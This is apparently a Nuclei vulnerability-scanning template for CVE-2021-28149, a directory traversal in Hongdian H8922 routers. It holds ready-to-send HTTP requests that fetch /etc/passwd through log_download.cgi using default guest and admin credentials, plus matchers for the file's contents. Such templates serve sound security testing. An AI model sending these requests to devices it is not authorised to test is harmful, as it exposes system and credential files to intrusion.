id: CVE-2021-28149

info:
  name: Hongdian Directory Traversal
  author: gy741
  severity: medium
  description: |
    Hongdian H8922 3.0.5 devices allow Directory Traversal. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28149
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-28149
    cwe-id: CWE-22
  tags: cve,cve2021,hongdian,traversal

requests:
  - raw:
      - |
        GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

      - |
        GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "application/octet-stream"
        part: header

      - type: regex
        regex:
          - "root:.*:0:0:"
          - "sshd:[x*]"
          - "root:[$]"
        part: body